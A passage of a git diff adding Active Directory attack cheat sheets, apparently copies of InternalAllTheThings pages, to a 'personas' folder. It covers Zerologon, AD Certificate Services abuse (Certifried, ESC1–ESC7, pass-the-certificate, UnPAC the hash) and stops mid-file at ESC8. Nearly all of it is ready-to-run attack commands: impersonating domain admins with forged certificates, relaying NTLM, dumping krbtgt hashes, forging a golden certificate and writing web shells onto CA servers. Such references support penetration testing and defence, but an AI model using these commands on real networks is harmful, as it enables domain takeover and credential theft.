/rc4:HASH_NTLM_ADMIN + +# Use IP address instead of FQDN to force NTLM with Windows APIs +# Reset password to Waza1234/Waza1234/Waza1234/ +# https://github.com/gentilkiwi/mimikatz/blob/6191b5a8ea40bbd856942cbc1e48a86c3c505dd3/mimikatz/modules/kuhl_m_lsadump.c#L2584 +lsadump::postzerologon /target:10.10.10.10 /account:DC01$ +``` + +* `netexec` - only check + +```powershell +netexec smb 10.10.10.10 -u username -p password -d domain -M zerologon +``` + +A 2nd approach to exploit zerologon is done by relaying authentication. + +This technique, [found by dirkjanm](https://dirkjanm.io/a-different-way-of-abusing-zerologon), requires more prerequisites but has the advantage of having no impact on service continuity. +The following prerequisites are needed: + +* A domain account +* One DC running the `PrintSpooler` service +* Another DC vulnerable to zerologon + +* `ntlmrelayx` - from Impacket and any tool such as [`printerbug.py`](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) + +```powershell +# Check if one DC is running the PrintSpooler service +rpcdump.py 10.10.10.10 | grep -A 6 "spoolsv" + +# Setup ntlmrelay in one shell +ntlmrelayx.py -t dcsync://DC01.LAB.LOCAL -smb2support + +#Trigger printerbug in 2nd shell +python3 printerbug.py 'LAB.LOCAL'/joe:Password123@10.10.10.10 10.10.10.12 +``` + +## References + +* [Zerologon:Unauthenticated domain controller compromise by subverting Netlogon cryptography (CVE-2020-1472) - Tom Tervoort - September 15, 2020](https://web.archive.org/web/20200915011856/https://www.secura.com/pathtoimg.php?id=2055) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adcs-certificate-services.md b/personas/_shared/internal-allthethings/active-directory/ad-adcs-certificate-services.md new file mode 100644 index 0000000..01f22fc --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adcs-certificate-services.md @@ -0,0 +1,222 @@ +# Active Directory - Certificate Services + +Active Directory Certificate Services (AD CS) is a Microsoft Windows server role that provides a public key infrastructure (PKI). It allows you to create, manage, and distribute digital certificates, which are used to secure communication and transactions across a network. + +## ADCS Enumeration + +* NetExec: + + ```ps1 + netexec ldap domain.lab -u username -p password -M adcs + ``` + +* ldapsearch: + + ```ps1 + ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=,OU=Users,DC=domain,DC=local' -w '' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName + ``` + +* certutil: + + ```ps1 + certutil.exe -config - -ping + certutil -dump + ``` + +## Certificate Enrollment + +* DNS required (`CT_FLAG_SUBJECT_ALT_REQUIRE_DNS` or `CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS`): only principals with their `dNSHostName` attribute set can enroll. + * Active Directory Users cannot enroll in certificate templates requiring `dNSHostName`. + * Computers will get their `dNSHostName` attribute set when you **domain-join** a computer, but the attribute is null if you simply create a computer object in AD. + * Computers have validated write to their `dNSHostName` attribute meaning they can add a DNS name matching their computer name. + +* Email required (`CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL` or `CT_FLAG_SUBJECT_REQUIRE_EMAIL`): only principals with their `mail` attribute set can enroll unless the template is of schema version 1. + * By default, users and computers do not have their `mail` attribute set, and they cannot modify this attribute themselves. + * Users might have the `mail` attribute set, but it is rare for computers. + +## Certifried CVE-2022-26923 + +> An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege. + +* Find `ms-DS-MachineAccountQuota` + + ```ps1 + bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'DC=lab,DC=local' --attr ms-DS-MachineAccountQuota + ``` + +* Add a new computer in the Active Directory, by default `MachineAccountQuota = 10` + + ```ps1 + bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 add computer cve 'CVEPassword1234*' + certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local' + ``` + +* [ALTERNATIVE] If you are `SYSTEM` and the `MachineAccountQuota=0`: Use a ticket for the current machine and reset its SPN + + ```ps1 + Rubeus.exe tgtdeleg + export KRB5CCNAME=/tmp/ws02.ccache + bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local set object 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName + ``` + +* Set the `dNSHostName` attribute to match the Domain Controller hostname + + ```ps1 + bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 set object 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName -v DC.lab.local + bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'CN=cve,CN=Computers,DC=lab,DC=local' --attr dNSHostName + ``` + +* Request a ticket + + ```ps1 + # certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -dc-ip DC_IP -ca discovered-CA + certipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA + ``` + +* Either use the pfx or set a RBCD on your machine account to takeover the domain + + ```ps1 + certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10 + + openssl pkcs12 -in dc.pfx -out dc.pem -nodes + bloodyAD -d lab.local -c ":dc.pem" -u 'cve$' --host 10.10.10.10 add rbcd 'CRASHDC$' 'CVE$' + getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.10.10 'lab.local/cve$:CVEPassword1234*' + secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10 + ``` + +## Pass-The-Certificate + +> Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential" + +* Windows + + ```ps1 + # Information about a cert file + certutil -v -dump admin.pfx + + # From a Base64 PFX + Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show + + # Grant DCSync rights to an user + ./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid + # To restore + ./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt + ``` + +* Linux + + ```ps1 + # Base64-encoded PFX certificate (string) (password can be set) + gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE" + ​ + # PEM certificate (file) + PEM private key (file) + gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE" + + # PFX certificate (file) + password (string, optionnal) + gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE" + + # Using Certipy + certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain' + certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx" + ``` + +### PKINIT ERROR + +When the DC does not support **PKINIT** (the pre-authentication allowing to retrieve either TGT or NT Hash using certificate). You will get an error like the following in the tool's output. + +```ps1 +$ certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain' +[...] +KDC_ERROR_CLIENT_NOT_TRUSTED (Reserved for PKINIT) +``` + +There is still a way to use the certificate to takeover the account. + +* Open an LDAP shell using the certificate + + ```ps1 + certipy auth -pfx target.pfx -debug -username username -domain domain.local -dns-tcp -dc-ip 10.10.10.10 -ldap-shell + ``` + +* Add a computer for RBCD + + ```ps1 + impacket-addcomputer -dc-ip 10.10.10.10 DOMAIN.LOCAL/User:P@ssw0rd -computer-name "NEWCOMPUTER" -computer-pass "P@ssw0rd123*" + ``` + +* Set the RBCD + + ```ps1 + set_rbcd 'TARGET$' 'NEWCOMPUTER$' + ``` + +* Request a ticket with impersonation + + ```ps1 + impacket-getST -spn 'cifs/target.domain.local' -impersonate 'target$' -dc-ip 10.10.10.10 'DOMAIN.LOCAL/NEWCOMPUTER$:P@ssw0rd123*' + ``` + +* Use the ticket + + ```ps1 + export KRB5CCNAME=DC$.ccache + impacket-secretsdump.py 'target$'@target.domain.local -k -no-pass -dc-ip 10.10.10.10 -just-dc-user 'krbtgt' + ``` + +## UnPAC The Hash + +Using the **UnPAC The Hash** method, you can retrieve the NT Hash for an User via its certificate. + +* [ly4k/Certipy](https://github.com/ly4k/Certipy) + + ```ps1 + export KRB5CCNAME=/pwd/to/user.ccache + proxychains certipy req -username "user@domain.lab" -ca "domain-DC-CA" -target "dc1.domain.lab" -template User -k -no-pass -dns-tcp -ns 10.10.10.10 -dc-ip 10.10.10.10 + proxychains certipy auth -pfx 'user.pfx' -dc-ip 10.10.10.10 -username user -domain domain.lab + ``` + +* [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) + + ```ps1 + # Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC. + Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show + ``` + +* [dirkjanm/PKINITtools](https://github.com/dirkjanm/PKINITtools) + + ```ps1 + # Obtain a TGT by validating a PKINIT pre-authentication + gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE" + + # Use the session key to recover the NT hash + export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME' + ``` + +## Common Error Messages + +| Error Name | Description | +| ---------- | ----------- | +| `CERTSRV_E_TEMPLATE_DENIED` | The permissions on the certificate template do not allow the current user to enroll | +| `KDC_ERR_INCONSISTENT_KEY_PURPOSE` | Certificate cannot be used for PKINIT client authentication | +| `KDC_ERROR_CLIENT_NOT_TRUSTED` | Reserved for PKINIT. Try to authenticate to another DC | +| `KDC_ERR_PADATA_TYPE_NOSUPP` | KDC has no support for padata type. CA might be expired | + +`KDC_ERR_PADATA_TYPE_NOSUPP` error still allow the attacker to use the certificate with the Pass-The-Cert. Since the DC's LDAPS service only check the SAN. + +## References + +* [Access controls - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/access-controls) +* [AD CS Domain Escalation - HackTricks](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation#shell-access-to-adcs-ca-with-yubihsm-esc12) +* [ADCS Attack Paths in BloodHound — Part 2 - Jonas Bülow Knudsen - May 1, 2024](https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-2-ac7f925d1547) +* [bloodyAD and CVE-2022-26923 - soka - 11 May 2022](https://cravaterouge.github.io/ad/privesc/2022/05/11/bloodyad-and-CVE-2022-26923.html) +* [CA configuration - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/ca-configuration) +* [Certificate templates - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/certificate-templates) +* [Certificates and Pwnage and Patches, Oh My! - Will Schroeder - Nov 9, 2022](https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d) +* [Certified Pre-Owned - Will Schroeder - Jun 17 2021](https://posts.specterops.io/certified-pre-owned-d95910965cd2) +* [Certified Pre-Owned - Will Schroeder and Lee Christensen - June 17, 2021](http://www.harmj0y.net/blog/activedirectory/certified-pre-owned/) +* [Certified Pre-Owned Abusing Active Directory Certificate Services - @harmj0y @tifkin_](https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Certified-Pre-Owned-Abusing-Active-Directory-Certificate-Services.pdf) +* [Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923) - Oliver Lyak](https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4) +* [Diving Into AD CS: Exploring Some Common Error Messages - Jacques Coertze - March 7, 2025](https://sensepost.com/blog/2025/diving-into-ad-cs-exploring-some-common-error-messages/) +* [Microsoft ADCS – Abusing PKI in Active Directory Environment - Jean MARSAULT - 14/06/2021](https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/) +* [UnPAC the hash - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash) +* [Web endpoints - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/web-endpoints) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc.md b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc.md new file mode 100644 index 0000000..ecf69fe --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc.md @@ -0,0 +1,17 @@ +# Active Directory - Certificate ESC Attacks + +* [ESC1 - Misconfigured Certificate Templates](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc01/) +* [ESC2 - Misconfigured Certificate Templates](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc02/) +* [ESC3 - Misconfigured Enrollment Agent Templates](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc03/) +* [ESC4 - Access Control Vulnerabilities](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc04/) +* [ESC5 - Vulnerable PKI Object Access Control](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc05/) +* [ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc06/) +* [ESC7 - Vulnerable Certificate Authority Access Control](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc07/) +* [ESC8 - Web Enrollment Relay](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc08/) +* [ESC9 - No Security Extension](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc09/) +* [ESC10 - Weak Certificate Mapping](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc10/) +* [ESC11 - Relaying NTLM to ICPR](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc11/) +* [ESC12 - ADCS CA on YubiHSM](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc12/) +* [ESC13 - Issuance Policy](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc13/) +* [ESC14 - altSecurityIdentities](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc14/) +* [ESC15 - EKUwu Application Policies - CVE-2024-49019](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc15/) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc01.md b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc01.md new file mode 100644 index 0000000..cc9053b --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc01.md @@ -0,0 +1,53 @@ +# Active Directory - Certificate ESC1 + +## ESC1 - Misconfigured Certificate Templates + +> Domain Users can enroll in the **VulnTemplate** template, which can be used for client authentication and has **ENROLLEE_SUPPLIES_SUBJECT** set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject. + +**Requirements** + +* Template that allows for AD authentication +* **ENROLLEE_SUPPLIES_SUBJECT** flag +* [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage) + +**Exploitation** + +* Use [Certify.exe](https://github.com/GhostPack/Certify) to see if there are any vulnerable templates + + ```ps1 + Certify.exe find /vulnerable + Certify.exe find /vulnerable /currentuser + # or + PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local' + # or + certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound + # or + python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=lab,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' + ``` + +* Use Certify, [Certi](https://github.com/eloypgz/certi) or [Certipy](https://github.com/ly4k/Certipy) to request a Certificate and add an alternative name (user to impersonate) + + ```ps1 + # request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt. + Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin + certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN + certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local' + ``` + +* Use OpenSSL and convert the certificate, do not enter a password + + ```ps1 + openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx + ``` + +* Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus + + ```ps1 + Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx + ``` + +**WARNING**: These certificates will still be usable even if the user or computer resets their password! + +**NOTE**: Look for **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** flags, and NTLM Relay to AD CS HTTP Endpoints. + +## References diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc02.md b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc02.md new file mode 100644 index 0000000..3d9269f --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc02.md @@ -0,0 +1,21 @@ +# Active Directory - Certificate ESC2 + +## ESC2 - Misconfigured Certificate Templates + +**Requirements** + +* Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0) + +**Exploitation** + +* Find template + + ```ps1 + PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local' + # or + python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=megacorp,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' + ``` + +* Request a certificate specifying the `/altname` as a domain admin like in [ESC1 - Misconfigured Certificate Templates](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc01/). + +## References diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc03.md b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc03.md new file mode 100644 index 0000000..4438b6d --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc03.md @@ -0,0 +1,20 @@ +# Active Directory - Certificate ESC3 + +## ESC3 - Misconfigured Enrollment Agent Templates + +> ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users + +* Request a certificate based on the vulnerable certificate template ESC3. + + ```ps1 + $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3' + [*] Saved certificate and private key to 'john.pfx' + ``` + +* Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user + + ```ps1 + certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx' + ``` + +## References diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc04.md b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc04.md new file mode 100644 index 0000000..a943941 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc04.md @@ -0,0 +1,41 @@ +# Active Directory - Certificate ESC4 + +## ESC4 - Access Control Vulnerabilities + +> Enabling the `mspki-certificate-name-flag` flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability + +* Search for `WriteProperty` with value `00000000-0000-0000-0000-000000000000` using [modifyCertTemplate](https://github.com/fortalice/modifyCertTemplate) + + ```ps1 + python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl + ``` + +* Add the `ENROLLEE_SUPPLIES_SUBJECT` (ESS) flag to perform ESC1 + + ```ps1 + python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag + + # Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template. + C:\>StandIn.exe --adcs --filter WebServer --ess --add + ``` + +* Perform ESC1 and then restore the value + + ```ps1 + python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag + ``` + +Using Certipy + +```ps1 +# overwrite the configuration to make it vulnerable to ESC1 +certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old +# request a certificate based on the ESC4 template, just like ESC1. +certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4' -alt 'administrator@corp.local' +# restore the old configuration +certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json +``` + +## References + +* [ADCS: Playing with ESC4 - Matthew Creel](https://www.fortalicesolutions.com/posts/adcs-playing-with-esc4) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc05.md b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc05.md new file mode 100644 index 0000000..ce65748 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc05.md @@ -0,0 +1,43 @@ +# Active Directory - Certificate ESC5 + +## ESC5 - Vulnerable PKI Object Access Control + +> Escalate the privileges from **Domain Administrator** in the child domain into **Enterprise Administrator** at the forest root. + +**Requirements**: + +* Add new templates to the "Certificate" Templates container +* "WRITE" access to the `pKIEnrollmentService` object + +**Exploitation - Access Control**: + +* Use `PsExec` to launch `mmc` as SYSTEM on the child DC: `psexec.exe /accepteula -i -s mmc` +* Connect to "Configuration naming context" > "Certificate Template" container +* Open `certsrv.msc` as SYSTEM and duplicate an existing template +* Edit the properties of the template to: + * Granting enroll rights to a principal we control in the child domain. + * Including Client Authentication in the Application Policies. + * Allowing SANs in certificate requests. + * Not enabling manager approval or authorized signatures. +* Publish the certificate template to the CA + * Publish by adding the template to the list in `certificateTemplate` property of `CN=Services`>`CN=Public Key Services`>`CN=Enrollment Services`>`pkiEnrollmentService` +* Finally use the ESC1 vulnerability introduced in the duplicated template to issue a certificate impersonating an Enterprise Administrator. + +**Exploitation - Golden Certificate**: + +Use `certipy`to extract the CA certificate and private key + +```ps1 +certipy ca -backup -u user@domain.local -p password -dc-ip 10.10.10.10 -ca 'DOMAIN-CA' -target 10.10.10.11 -debug +``` + +Then forge a domain admin certificate + +```ps1 +certipy forge -ca-pfx 'DOMAIN-CA.pfx' -upn administrator@domain.local +``` + +## References + +* [From DA to EA with ESC5 - Andy Robbins - May 16, 2023](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) +* [GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15 - Mayfly - March 10, 2025](https://mayfly277.github.io/posts/ADCS-part14/) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc06.md b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc06.md new file mode 100644 index 0000000..418f374 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc06.md @@ -0,0 +1,27 @@ +# Active Directory - Certificate ESC6 + +## ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 + +> If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name. + +**Exploitation** + +* Use [Certify.exe](https://github.com/GhostPack/Certify) to check for **UserSpecifiedSAN** flag state which refers to the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag. + + ```ps1 + Certify.exe cas + ``` + +* Request a certificate for a template and add an altname, even though the default `User` template doesn't normally allow to specify alternative names + + ```ps1 + .\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin + ``` + +**Mitigation** + +* Remove the flag: `certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2` + +## References + +* [AD CS: from ManageCA to RCE - February 11, 2022 - Pablo Martínez, Kurosh Dabbagh](https://web.archive.org/web/20220212053945/http://www.blackarrow.net/ad-cs-from-manageca-to-rce//) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc07.md b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc07.md new file mode 100644 index 0000000..62c4d3d --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc07.md @@ -0,0 +1,76 @@ +# Active Directory - Certificate ESC7 + +## ESC7 - Vulnerable Certificate Authority Access Control + +**Exploitation** + +* Detect CAs that allow low privileged users the `ManageCA` or `Manage Certificates` permissions + + ```ps1 + Certify.exe find /vulnerable + # or + certipy find -enabled -u user@domain.local -p password -dc-ip 10.10.10.10 + + # add "Manage Certificates" privilege + certipy ca -ca 'DOMAIN-CA' -username user@domain.local -p GoldCrown -add-officer user -dc-ip 10.10.10.10 -target-ip 10.10.10.11 + ``` + +* Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6) + + ```ps1 + Certify.exe setconfig /enablesan /restart + ``` + +* Request the certificate with the desired SAN. + + ```ps1 + Certify.exe request /template:User /altname:super.adm + ``` + +* Grant approval if required or disable the approval requirement + + ```ps1 + # Grant + Certify.exe issue /id:[REQUEST ID] + # Disable + Certify.exe setconfig /removeapproval /restart + ``` + +**Exploitation 2**: + +Alternative exploitation from **ManageCA** to **RCE** on ADCS server: + +```ps1 +# Get the current CDP list. Useful to find remote writable shares: +Certify.exe writefile /ca:SERVER\ca-name /readonly + +# Write an aspx shell to a local web directory: +Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx + +# Write the default asp shell to a local web directory: +Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp + +# Write a php shell to a remote web directory: +Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php +``` + +**Exploitation 3**: + +```ps1 +# enable SubCA template +certipy ca -ca 'DOMAIN-CA' -enable-template 'SubCA' -username user@domain.local -p password -dc-ip 10.10.10.10 -target-ip 10.10.10.11 + +# request a certificate based on subCA template +certipy req -ca 'DOMAIN-CA' -username user@domain.local -p password -dc-ip 10.10.10.10 -target-ip 10.10.10.11 -template SubCA -upn administrator@domain.local + +# issue failed certificate request +certipy ca -ca 'DOMAIN-CA' -issue-request 7 -username user@domain.local -p password -dc-ip 10.10.10.10 -target-ip 10.10.10.11 + +# retrieve the issued certificate +certipy req -ca 'DOMAIN-CA' -username user@domain.local -p password -dc-ip 10.10.10.10 -target-ip 10.10.10.11 -retrieve 7 +``` + +## References + +* [AD CS: weaponizing the ESC7 attack - Kurosh Dabbagh - 26 January, 2022](https://www.blackarrow.net/adcs-weaponizing-esc7-attack/) +* [GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15 - Mayfly - March 10, 2025](https://mayfly277.github.io/posts/ADCS-part14/) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc08.md b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc08.md new file mode 100644 index 0000000..7669db8 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc08.md @@ -0,0 +1,103 @@ +# Active Directory - Certificate ESC8 + +## ESC8 - Web Enrollment Relay + +> An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket. + +Require [SecureAuthCorp/impacket](https://github.com/SecureAuthCorp/impacket/pull/1101) PR #1101 + +* **Version 1**: NTLM Relay + Rubeus + PetitPotam + + 